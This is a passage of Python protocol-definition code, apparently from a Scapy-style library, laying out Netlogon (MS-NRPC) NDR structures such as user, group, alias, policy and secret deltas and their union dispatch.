NDRIntField(\"status\", 0),\n    ]\n\n\nclass PNLPR_MODIFIED_COUNT(NDRPacket):\n    ALIGNMENT = (4, 4)\n    fields_desc = [\n        NDRPacketField(\"ModifiedCount\", OLD_LARGE_INTEGER(), OLD_LARGE_INTEGER)\n    ]\n\n\nclass NETLOGON_DELTA_TYPE(IntEnum):\n    AddOrChangeDomain = 1\n    AddOrChangeGroup = 2\n    DeleteGroup = 3\n    RenameGroup = 4\n    AddOrChangeUser = 5\n    DeleteUser = 6\n    RenameUser = 7\n    ChangeGroupMembership = 8\n    AddOrChangeAlias = 9\n    DeleteAlias = 10\n    RenameAlias = 11\n    ChangeAliasMembership = 12\n    AddOrChangeLsaPolicy = 13\n    AddOrChangeLsaTDomain = 14\n    DeleteLsaTDomain = 15\n    AddOrChangeLsaAccount = 16\n    DeleteLsaAccount = 17\n    AddOrChangeLsaSecret = 18\n    DeleteLsaSecret = 19\n    DeleteGroupByName = 20\n    DeleteUserByName = 21\n    SerialNumberSkip = 22\n\n\nclass PNETLOGON_DELTA_DOMAIN(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRPacketField(\"DomainName\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"OemInformation\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"ForceLogoff\", OLD_LARGE_INTEGER(), OLD_LARGE_INTEGER),\n        NDRShortField(\"MinPasswordLength\", 0),\n        NDRShortField(\"PasswordHistoryLength\", 0),\n        NDRPacketField(\"MaxPasswordAge\", OLD_LARGE_INTEGER(), OLD_LARGE_INTEGER),\n        NDRPacketField(\"MinPasswordAge\", OLD_LARGE_INTEGER(), OLD_LARGE_INTEGER),\n        NDRPacketField(\"DomainModifiedCount\", OLD_LARGE_INTEGER(), OLD_LARGE_INTEGER),\n        NDRPacketField(\"DomainCreationTime\", OLD_LARGE_INTEGER(), OLD_LARGE_INTEGER),\n        NDRIntField(\"SecurityInformation\", 0),\n        NDRIntField(\"SecuritySize\", None, size_of=\"SecurityDescriptor\"),\n        NDRFullEmbPointerField(\n            NDRConfStrLenField(\n                \"SecurityDescriptor\", \"\", size_is=lambda pkt: pkt.SecuritySize\n            )\n        ),\n        NDRPacketField(\"DomainLockoutInformation\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"DummyString2\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"DummyString3\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"DummyString4\", UNICODE_STRING(), UNICODE_STRING),\n        NDRIntField(\"PasswordProperties\", 0),\n        NDRIntField(\"DummyLong2\", 0),\n        NDRIntField(\"DummyLong3\", 0),\n        NDRIntField(\"DummyLong4\", 0),\n    ]\n\n\nclass PNETLOGON_DELTA_GROUP(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRPacketField(\"Name\", UNICODE_STRING(), UNICODE_STRING),\n        NDRIntField(\"RelativeId\", 0),\n        NDRIntField(\"Attributes\", 0),\n        NDRPacketField(\"AdminComment\", UNICODE_STRING(), UNICODE_STRING),\n        NDRIntField(\"SecurityInformation\", 0),\n        NDRIntField(\"SecuritySize\", None, size_of=\"SecurityDescriptor\"),\n        NDRFullEmbPointerField(\n            NDRConfStrLenField(\n                \"SecurityDescriptor\", \"\", size_is=lambda pkt: pkt.SecuritySize\n            )\n        ),\n        NDRPacketField(\"DummyString1\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"DummyString2\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"DummyString3\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"DummyString4\", UNICODE_STRING(), UNICODE_STRING),\n        NDRIntField(\"DummyLong1\", 0),\n        NDRIntField(\"DummyLong2\", 0),\n        NDRIntField(\"DummyLong3\", 0),\n        NDRIntField(\"DummyLong4\", 0),\n    ]\n\n\nclass PNETLOGON_DELTA_RENAME_GROUP(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRPacketField(\"OldName\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"NewName\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"DummyString1\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"DummyString2\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"DummyString3\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"DummyString4\", UNICODE_STRING(), UNICODE_STRING),\n        NDRIntField(\"DummyLong1\", 0),\n        NDRIntField(\"DummyLong2\", 0),\n        NDRIntField(\"DummyLong3\", 0),\n        NDRIntField(\"DummyLong4\", 0),\n    ]\n\n\nclass NLPR_LOGON_HOURS(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRShortField(\n            \"UnitsPerWeek\",\n            None,\n            size_of=\"LogonHours\",\n            adjust=lambda _, x: ((x * 8) - 7),\n        ),\n        NDRFullEmbPointerField(\n            NDRConfVarStrLenField(\n                \"LogonHours\",\n                \"\",\n                size_is=lambda pkt: 1260,\n                length_is=lambda pkt: ((pkt.UnitsPerWeek + 7) // 8),\n            )\n        ),\n    ]\n\n\nclass ENCRYPTED_NT_OWF_PASSWORD(NDRPacket):\n    fields_desc = [\n        PacketListField(\n            \"data\", [CYPHER_BLOCK()] * 2, CYPHER_BLOCK, count_from=lambda _: 2\n        )\n    ]\n\n\nclass ENCRYPTED_LM_OWF_PASSWORD(NDRPacket):\n    fields_desc = [\n        PacketListField(\n            \"data\", [CYPHER_BLOCK()] * 2, CYPHER_BLOCK, count_from=lambda _: 2\n        )\n    ]\n\n\nclass NLPR_USER_PRIVATE_INFO(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRByteField(\"SensitiveData\", 0),\n        NDRIntField(\"DataLength\", None, size_of=\"Data\"),\n        NDRFullEmbPointerField(\n            NDRConfStrLenField(\"Data\", \"\", size_is=lambda pkt: pkt.DataLength)\n        ),\n    ]\n\n\nclass PNETLOGON_DELTA_USER(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRPacketField(\"UserName\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"FullName\", UNICODE_STRING(), UNICODE_STRING),\n        NDRIntField(\"UserId\", 0),\n        NDRIntField(\"PrimaryGroupId\", 0),\n        NDRPacketField(\"HomeDirectory\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"HomeDirectoryDrive\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"ScriptPath\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"AdminComment\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"WorkStations\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"LastLogon\", OLD_LARGE_INTEGER(), OLD_LARGE_INTEGER),\n        NDRPacketField(\"LastLogoff\", OLD_LARGE_INTEGER(), OLD_LARGE_INTEGER),\n        NDRPacketField(\"LogonHours\", NLPR_LOGON_HOURS(), NLPR_LOGON_HOURS),\n        NDRShortField(\"BadPasswordCount\", 0),\n        NDRShortField(\"LogonCount\", 0),\n        NDRPacketField(\"PasswordLastSet\", OLD_LARGE_INTEGER(), OLD_LARGE_INTEGER),\n        NDRPacketField(\"AccountExpires\", OLD_LARGE_INTEGER(), OLD_LARGE_INTEGER),\n        NDRIntField(\"UserAccountControl\", 0),\n        NDRPacketField(\n            \"EncryptedNtOwfPassword\",\n            ENCRYPTED_NT_OWF_PASSWORD(),\n            ENCRYPTED_NT_OWF_PASSWORD,\n        ),\n        NDRPacketField(\n            \"EncryptedLmOwfPassword\",\n            ENCRYPTED_LM_OWF_PASSWORD(),\n            ENCRYPTED_LM_OWF_PASSWORD,\n        ),\n        NDRByteField(\"NtPasswordPresent\", 0),\n        NDRByteField(\"LmPasswordPresent\", 0),\n        NDRByteField(\"PasswordExpired\", 0),\n        NDRPacketField(\"UserComment\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"Parameters\", UNICODE_STRING(), UNICODE_STRING),\n        NDRShortField(\"CountryCode\", 0),\n        NDRShortField(\"CodePage\", 0),\n        NDRPacketField(\"PrivateData\", NLPR_USER_PRIVATE_INFO(), NLPR_USER_PRIVATE_INFO),\n        NDRIntField(\"SecurityInformation\", 0),\n        NDRIntField(\"SecuritySize\", None, size_of=\"SecurityDescriptor\"),\n        NDRFullEmbPointerField(\n            NDRConfStrLenField(\n                \"SecurityDescriptor\", \"\", size_is=lambda pkt: pkt.SecuritySize\n            )\n        ),\n        NDRPacketField(\"ProfilePath\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"DummyString2\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"DummyString3\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"DummyString4\", UNICODE_STRING(), UNICODE_STRING),\n        NDRIntField(\"DummyLong1\", 0),\n        NDRIntField(\"DummyLong2\", 0),\n        NDRIntField(\"DummyLong3\", 0),\n        NDRIntField(\"DummyLong4\", 0),\n    ]\n\n\nclass PNETLOGON_DELTA_RENAME_USER(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRPacketField(\"OldName\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"NewName\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"DummyString1\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"DummyString2\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"DummyString3\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"DummyString4\", UNICODE_STRING(), UNICODE_STRING),\n        NDRIntField(\"DummyLong1\", 0),\n        NDRIntField(\"DummyLong2\", 0),\n        NDRIntField(\"DummyLong3\", 0),\n        NDRIntField(\"DummyLong4\", 0),\n    ]\n\n\nclass PNETLOGON_DELTA_GROUP_MEMBER(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRFullEmbPointerField(\n            NDRConfFieldListField(\n                \"Members\", [], NDRIntField(\"\", 0), size_is=lambda pkt: pkt.MemberCount\n            )\n        ),\n        NDRFullEmbPointerField(\n            NDRConfFieldListField(\n                \"Attributes\",\n                [],\n                NDRIntField(\"\", 0),\n                size_is=lambda pkt: pkt.MemberCount,\n            )\n        ),\n        NDRIntField(\"MemberCount\", None, size_of=\"Attributes\"),\n        NDRIntField(\"DummyLong1\", 0),\n        NDRIntField(\"DummyLong2\", 0),\n        NDRIntField(\"DummyLong3\", 0),\n        NDRIntField(\"DummyLong4\", 0),\n    ]\n\n\nclass PNETLOGON_DELTA_ALIAS(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRPacketField(\"Name\", UNICODE_STRING(), UNICODE_STRING),\n        NDRIntField(\"RelativeId\", 0),\n        NDRIntField(\"SecurityInformation\", 0),\n        NDRIntField(\"SecuritySize\", None, size_of=\"SecurityDescriptor\"),\n        NDRFullEmbPointerField(\n            NDRConfStrLenField(\n                \"SecurityDescriptor\", \"\", size_is=lambda pkt: pkt.SecuritySize\n            )\n        ),\n        NDRPacketField(\"Comment\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"DummyString2\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"DummyString3\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"DummyString4\", UNICODE_STRING(), UNICODE_STRING),\n        NDRIntField(\"DummyLong1\", 0),\n        NDRIntField(\"DummyLong2\", 0),\n        NDRIntField(\"DummyLong3\", 0),\n        NDRIntField(\"DummyLong4\", 0),\n    ]\n\n\nclass PNETLOGON_DELTA_RENAME_ALIAS(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRPacketField(\"OldName\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"NewName\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"DummyString1\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"DummyString2\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"DummyString3\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"DummyString4\", UNICODE_STRING(), UNICODE_STRING),\n        NDRIntField(\"DummyLong1\", 0),\n        NDRIntField(\"DummyLong2\", 0),\n        NDRIntField(\"DummyLong3\", 0),\n        NDRIntField(\"DummyLong4\", 0),\n    ]\n\n\nclass PNLPR_SID_INFORMATION(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRFullEmbPointerField(NDRPacketField(\"SidPointer\", PRPC_SID(), PRPC_SID))\n    ]\n\n\nclass NLPR_SID_ARRAY(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRIntField(\"Count\", None, size_of=\"Sids\"),\n        NDRFullEmbPointerField(\n            NDRConfPacketListField(\n                \"Sids\", [], PNLPR_SID_INFORMATION, size_is=lambda pkt: pkt.Count\n            )\n        ),\n    ]\n\n\nclass PNETLOGON_DELTA_ALIAS_MEMBER(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRPacketField(\"Members\", NLPR_SID_ARRAY(), NLPR_SID_ARRAY),\n        NDRIntField(\"DummyLong1\", 0),\n        NDRIntField(\"DummyLong2\", 0),\n        NDRIntField(\"DummyLong3\", 0),\n        NDRIntField(\"DummyLong4\", 0),\n    ]\n\n\nclass NLPR_QUOTA_LIMITS(NDRPacket):\n    ALIGNMENT = (4, 4)\n    fields_desc = [\n        NDRIntField(\"PagedPoolLimit\", 0),\n        NDRIntField(\"NonPagedPoolLimit\", 0),\n        NDRIntField(\"MinimumWorkingSetSize\", 0),\n        NDRIntField(\"MaximumWorkingSetSize\", 0),\n        NDRIntField(\"PagefileLimit\", 0),\n        NDRPacketField(\"Reserved\", OLD_LARGE_INTEGER(), OLD_LARGE_INTEGER),\n    ]\n\n\nclass PNETLOGON_DELTA_POLICY(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRIntField(\"MaximumLogSize\", 0),\n        NDRPacketField(\"AuditRetentionPeriod\", OLD_LARGE_INTEGER(), OLD_LARGE_INTEGER),\n        NDRByteField(\"AuditingMode\", 0),\n        NDRIntField(\n            \"MaximumAuditEventCount\",\n            None,\n            size_of=\"EventAuditingOptions\",\n            adjust=lambda _, x: (x - 1),\n        ),\n        NDRFullEmbPointerField(\n            NDRConfFieldListField(\n                \"EventAuditingOptions\",\n                [],\n                NDRIntField(\"\", 0),\n                size_is=lambda pkt: (pkt.MaximumAuditEventCount + 1),\n            )\n        ),\n        NDRPacketField(\"PrimaryDomainName\", UNICODE_STRING(), UNICODE_STRING),\n        NDRFullEmbPointerField(\n            NDRPacketField(\"PrimaryDomainSid\", PRPC_SID(), PRPC_SID)\n        ),\n        NDRPacketField(\"QuotaLimits\", NLPR_QUOTA_LIMITS(), NLPR_QUOTA_LIMITS),\n        NDRPacketField(\"ModifiedId\", OLD_LARGE_INTEGER(), OLD_LARGE_INTEGER),\n        NDRPacketField(\"DatabaseCreationTime\", OLD_LARGE_INTEGER(), OLD_LARGE_INTEGER),\n        NDRIntField(\"SecurityInformation\", 0),\n        NDRIntField(\"SecuritySize\", None, size_of=\"SecurityDescriptor\"),\n        NDRFullEmbPointerField(\n            NDRConfStrLenField(\n                \"SecurityDescriptor\", \"\", size_is=lambda pkt: pkt.SecuritySize\n            )\n        ),\n        NDRPacketField(\"DummyString1\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"DummyString2\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"DummyString3\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"DummyString4\", UNICODE_STRING(), UNICODE_STRING),\n        NDRIntField(\"DummyLong1\", 0),\n        NDRIntField(\"DummyLong2\", 0),\n        NDRIntField(\"DummyLong3\", 0),\n        NDRIntField(\"DummyLong4\", 0),\n    ]\n\n\nclass PUNICODE_STRING(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRShortField(\"Length\", None, size_of=\"Buffer\", adjust=lambda _, x: (x * 2)),\n        NDRShortField(\n            \"MaximumLength\", None, size_of=\"Buffer\", adjust=lambda _, x: (x * 2)\n        ),\n        NDRFullEmbPointerField(\n            NDRConfVarStrLenFieldUtf16(\n                \"Buffer\",\n                \"\",\n                size_is=lambda pkt: (pkt.MaximumLength // 2),\n                length_is=lambda pkt: (pkt.Length // 2),\n            )\n        ),\n    ]\n\n\nclass PNETLOGON_DELTA_TRUSTED_DOMAINS(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRPacketField(\"DomainName\", UNICODE_STRING(), UNICODE_STRING),\n        NDRIntField(\"NumControllerEntries\", None, size_of=\"ControllerNames\"),\n        NDRFullEmbPointerField(\n            NDRConfPacketListField(\n                \"ControllerNames\",\n                [],\n                PUNICODE_STRING,\n                size_is=lambda pkt: pkt.NumControllerEntries,\n            )\n        ),\n        NDRIntField(\"SecurityInformation\", 0),\n        NDRIntField(\"SecuritySize\", None, size_of=\"SecurityDescriptor\"),\n        NDRFullEmbPointerField(\n            NDRConfStrLenField(\n                \"SecurityDescriptor\", \"\", size_is=lambda pkt: pkt.SecuritySize\n            )\n        ),\n        NDRPacketField(\"DummyString1\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"DummyString2\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"DummyString3\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"DummyString4\", UNICODE_STRING(), UNICODE_STRING),\n        NDRIntField(\"TrustedPosixOffset\", 0),\n        NDRIntField(\"DummyLong2\", 0),\n        NDRIntField(\"DummyLong3\", 0),\n        NDRIntField(\"DummyLong4\", 0),\n    ]\n\n\nclass PNETLOGON_DELTA_ACCOUNTS(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRIntField(\"PrivilegeEntries\", None, size_of=\"PrivilegeNames\"),\n        NDRIntField(\"PrivilegeControl\", 0),\n        NDRFullEmbPointerField(\n            NDRConfFieldListField(\n                \"PrivilegeAttributes\",\n                [],\n                NDRIntField(\"\", 0),\n                size_is=lambda pkt: pkt.PrivilegeEntries,\n            )\n        ),\n        NDRFullEmbPointerField(\n            NDRConfPacketListField(\n                \"PrivilegeNames\",\n                [],\n                PUNICODE_STRING,\n                size_is=lambda pkt: pkt.PrivilegeEntries,\n            )\n        ),\n        NDRPacketField(\"QuotaLimits\", NLPR_QUOTA_LIMITS(), NLPR_QUOTA_LIMITS),\n        NDRIntField(\"SystemAccessFlags\", 0),\n        NDRIntField(\"SecurityInformation\", 0),\n        NDRIntField(\"SecuritySize\", None, size_of=\"SecurityDescriptor\"),\n        NDRFullEmbPointerField(\n            NDRConfStrLenField(\n                \"SecurityDescriptor\", \"\", size_is=lambda pkt: pkt.SecuritySize\n            )\n        ),\n        NDRPacketField(\"DummyString1\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"DummyString2\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"DummyString3\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"DummyString4\", UNICODE_STRING(), UNICODE_STRING),\n        NDRIntField(\"DummyLong1\", 0),\n        NDRIntField(\"DummyLong2\", 0),\n        NDRIntField(\"DummyLong3\", 0),\n        NDRIntField(\"DummyLong4\", 0),\n    ]\n\n\nclass NLPR_CR_CIPHER_VALUE(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRIntField(\"Length\", None, size_of=\"Buffer\"),\n        NDRIntField(\"MaximumLength\", None, size_of=\"Buffer\"),\n        NDRFullEmbPointerField(\n            NDRConfVarStrLenField(\n                \"Buffer\",\n                \"\",\n                size_is=lambda pkt: pkt.MaximumLength,\n                length_is=lambda pkt: pkt.Length,\n            )\n        ),\n    ]\n\n\nclass PNETLOGON_DELTA_SECRET(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRPacketField(\"CurrentValue\", NLPR_CR_CIPHER_VALUE(), NLPR_CR_CIPHER_VALUE),\n        NDRPacketField(\"CurrentValueSetTime\", OLD_LARGE_INTEGER(), OLD_LARGE_INTEGER),\n        NDRPacketField(\"OldValue\", NLPR_CR_CIPHER_VALUE(), NLPR_CR_CIPHER_VALUE),\n        NDRPacketField(\"OldValueSetTime\", OLD_LARGE_INTEGER(), OLD_LARGE_INTEGER),\n        NDRIntField(\"SecurityInformation\", 0),\n        NDRIntField(\"SecuritySize\", None, size_of=\"SecurityDescriptor\"),\n        NDRFullEmbPointerField(\n            NDRConfStrLenField(\n                \"SecurityDescriptor\", \"\", size_is=lambda pkt: pkt.SecuritySize\n            )\n        ),\n        NDRPacketField(\"DummyString1\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"DummyString2\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"DummyString3\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"DummyString4\", UNICODE_STRING(), UNICODE_STRING),\n        NDRIntField(\"DummyLong1\", 0),\n        NDRIntField(\"DummyLong2\", 0),\n        NDRIntField(\"DummyLong3\", 0),\n        NDRIntField(\"DummyLong4\", 0),\n    ]\n\n\nclass PNETLOGON_DELTA_DELETE_GROUP(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRFullEmbPointerField(NDRConfVarStrNullFieldUtf16(\"AccountName\", \"\")),\n        NDRPacketField(\"DummyString1\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"DummyString2\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"DummyString3\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"DummyString4\", UNICODE_STRING(), UNICODE_STRING),\n        NDRIntField(\"DummyLong1\", 0),\n        NDRIntField(\"DummyLong2\", 0),\n        NDRIntField(\"DummyLong3\", 0),\n        NDRIntField(\"DummyLong4\", 0),\n    ]\n\n\nclass PNETLOGON_DELTA_DELETE_USER(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRFullEmbPointerField(NDRConfVarStrNullFieldUtf16(\"AccountName\", \"\")),\n        NDRPacketField(\"DummyString1\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"DummyString2\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"DummyString3\", UNICODE_STRING(), UNICODE_STRING),\n        NDRPacketField(\"DummyString4\", UNICODE_STRING(), UNICODE_STRING),\n        NDRIntField(\"DummyLong1\", 0),\n        NDRIntField(\"DummyLong2\", 0),\n        NDRIntField(\"DummyLong3\", 0),\n        NDRIntField(\"DummyLong4\", 0),\n    ]\n\n\nclass PNETLOGON_DELTA_ENUM(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRInt3264EnumField(\"DeltaType\", 0, NETLOGON_DELTA_TYPE),\n        NDRUnionField(\n            [\n                (\n                    NDRIntField(\"DeltaID\", 0),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"DeltaType\", None)\n                            in [\n                                NETLOGON_DELTA_TYPE.AddOrChangeDomain,\n                                NETLOGON_DELTA_TYPE.AddOrChangeGroup,\n                                NETLOGON_DELTA_TYPE.DeleteGroup,\n                                NETLOGON_DELTA_TYPE.RenameGroup,\n                                NETLOGON_DELTA_TYPE.AddOrChangeUser,\n                                NETLOGON_DELTA_TYPE.DeleteUser,\n                                NETLOGON_DELTA_TYPE.RenameUser,\n                                NETLOGON_DELTA_TYPE.ChangeGroupMembership,\n                                NETLOGON_DELTA_TYPE.AddOrChangeAlias,\n                                NETLOGON_DELTA_TYPE.DeleteAlias,\n                                NETLOGON_DELTA_TYPE.RenameAlias,\n                                NETLOGON_DELTA_TYPE.ChangeAliasMembership,\n                                NETLOGON_DELTA_TYPE.DeleteGroupByName,\n                                NETLOGON_DELTA_TYPE.DeleteUserByName,\n                            ]\n                        ),\n                        (\n                            lambda _, val: val.tag\n                            in [\n                                NETLOGON_DELTA_TYPE.AddOrChangeDomain,\n                                NETLOGON_DELTA_TYPE.AddOrChangeGroup,\n                                NETLOGON_DELTA_TYPE.DeleteGroup,\n                                NETLOGON_DELTA_TYPE.RenameGroup,\n                                NETLOGON_DELTA_TYPE.AddOrChangeUser,\n                                NETLOGON_DELTA_TYPE.DeleteUser,\n                                NETLOGON_DELTA_TYPE.RenameUser,\n                                NETLOGON_DELTA_TYPE.ChangeGroupMembership,\n                                NETLOGON_DELTA_TYPE.AddOrChangeAlias,\n                                NETLOGON_DELTA_TYPE.DeleteAlias,\n                                NETLOGON_DELTA_TYPE.RenameAlias,\n                                NETLOGON_DELTA_TYPE.ChangeAliasMembership,\n                                NETLOGON_DELTA_TYPE.DeleteGroupByName,\n                                NETLOGON_DELTA_TYPE.DeleteUserByName,\n                            ]\n                        ),\n                    ),\n                ),\n                (\n                    NDRFullEmbPointerField(\n                        NDRPacketField(\"DeltaID\", PRPC_SID(), PRPC_SID)\n                    ),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"DeltaType\", None)\n                            in [\n                                NETLOGON_DELTA_TYPE.AddOrChangeLsaPolicy,\n                                NETLOGON_DELTA_TYPE.AddOrChangeLsaTDomain,\n                                NETLOGON_DELTA_TYPE.DeleteLsaTDomain,\n                                NETLOGON_DELTA_TYPE.AddOrChangeLsaAccount,\n                                NETLOGON_DELTA_TYPE.DeleteLsaAccount,\n                            ]\n                        ),\n                        (\n                            lambda _, val: val.tag\n                            in [\n                                NETLOGON_DELTA_TYPE.AddOrChangeLsaPolicy,\n                                NETLOGON_DELTA_TYPE.AddOrChangeLsaTDomain,\n                                NETLOGON_DELTA_TYPE.DeleteLsaTDomain,\n                                NETLOGON_DELTA_TYPE.AddOrChangeLsaAccount,\n                                NETLOGON_DELTA_TYPE.DeleteLsaAccount,\n                            ]\n                        ),\n                    ),\n                ),\n                (\n                    NDRFullEmbPointerField(NDRConfVarStrNullFieldUtf16(\"DeltaID\", \"\")),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"DeltaType\", None)\n                            in [\n                                NETLOGON_DELTA_TYPE.AddOrChangeLsaSecret,\n                                NETLOGON_DELTA_TYPE.DeleteLsaSecret,\n                            ]\n                        ),\n                        (\n                            lambda _, val: val.tag\n                            in [\n                                NETLOGON_DELTA_TYPE.AddOrChangeLsaSecret,\n                                NETLOGON_DELTA_TYPE.DeleteLsaSecret,\n                            ]\n                        ),\n                    ),\n                ),\n            ],\n            StrFixedLenField(\"DeltaID\", \"\", length=0),\n            align=(2, 8),\n            switch_fmt=(\"H\", \"I\"),\n        ),\n        NDRUnionField(\n            [\n                (\n                    NDRFullEmbPointerField(\n                        NDRPacketField(\n                            \"DeltaUnion\",\n                            PNETLOGON_DELTA_DOMAIN(),\n                            PNETLOGON_DELTA_DOMAIN,\n                        )\n                    ),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"DeltaType\", None)\n                            == NETLOGON_DELTA_TYPE.AddOrChangeDomain\n                        ),\n                        (\n                            lambda _, val: val.tag\n                            == NETLOGON_DELTA_TYPE.AddOrChangeDomain\n                        ),\n                    ),\n                ),\n                (\n                    NDRFullEmbPointerField(\n                        NDRPacketField(\n                            \"DeltaUnion\", PNETLOGON_DELTA_GROUP(), PNETLOGON_DELTA_GROUP\n                        )\n                    ),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"DeltaType\", None)\n                            == NETLOGON_DELTA_TYPE.AddOrChangeGroup\n                        ),\n                        (\n                            lambda _, val: val.tag\n                            == NETLOGON_DELTA_TYPE.AddOrChangeGroup\n                        ),\n                    ),\n                ),\n                (\n                    NDRFullEmbPointerField(\n                        NDRPacketField(\n                            \"DeltaUnion\",\n                            PNETLOGON_DELTA_RENAME_GROUP(),\n                            PNETLOGON_DELTA_RENAME_GROUP,\n                        )\n                    ),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"DeltaType\", None)\n                            == NETLOGON_DELTA_TYPE.RenameGroup\n                        ),\n                        (lambda _, val: val.tag == NETLOGON_DELTA_TYPE.RenameGroup),\n                    ),\n                ),\n                (\n                    NDRFullEmbPointerField(\n                        NDRPacketField(\n                            \"DeltaUnion\", PNETLOGON_DELTA_USER(), PNETLOGON_DELTA_USER\n                        )\n                    ),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"DeltaType\", None)\n                            == NETLOGON_DELTA_TYPE.AddOrChangeUser\n                        ),\n                        (lambda _, val: val.tag == NETLOGON_DELTA_TYPE.AddOrChangeUser),\n                    ),\n                ),\n                (\n                    NDRFullEmbPointerField(\n                        NDRPacketField(\n                            \"DeltaUnion\",\n                            PNETLOGON_DELTA_RENAME_USER(),\n                            PNETLOGON_DELTA_RENAME_USER,\n                        )\n                    ),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"DeltaType\", None)\n                            == NETLOGON_DELTA_TYPE.RenameUser\n                        ),\n                        (lambda _, val: val.tag == NETLOGON_DELTA_TYPE.RenameUser),\n                    ),\n                ),\n                (\n                    NDRFullEmbPointerField(\n                        NDRPacketField(\n                            \"DeltaUnion\",\n                            PNETLOGON_DELTA_GROUP_MEMBER(),\n                            PNETLOGON_DELTA_GROUP_MEMBER,\n                        )\n                    ),\n                    (\n                        (\n                            lambda pkt: getattr(pkt, \"DeltaType\", None)\n                            == NETLOGON_DELTA_TYPE.ChangeGroupMembership\n                        ),\n                        (\n                            lambda _, val: val.tag\n                            == 